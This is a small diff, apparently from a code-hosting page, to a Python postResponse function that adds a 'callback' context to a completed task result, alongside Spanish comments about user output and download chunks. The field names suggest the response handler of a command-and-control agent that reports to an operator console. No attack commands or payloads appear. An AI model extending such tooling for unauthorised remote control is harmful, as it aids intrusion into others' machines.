||||||
# No more markers
|
# No more markers
|
||||||
@@ -1027,6 +1122,11 @@ def postResponse(data):
|
|||||||
"completed": True,
|
"completed": True,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Add callback context if present
|
||||||
|
if callback_context_data:
|
||||||
|
jsonTask["callback"] = callback_context_data
|
||||||
|
print(f"[CALLBACK_CONTEXT] Añadido callback context con {len(callback_context_data)} campos: {list(callback_context_data.keys())}")
|
||||||
|
|
||||||
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
|
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
|
||||||
# (los chunks de download no necesitan user_output)
|
# (los chunks de download no necesitan user_output)
|
||||||
# Always include user_output if there's output text (needed for tokens command to show in GUI)
|
# Always include user_output if there's output text (needed for tokens command to show in GUI)
|
||||||
|
|||||||
Reference in New Issue
Block a user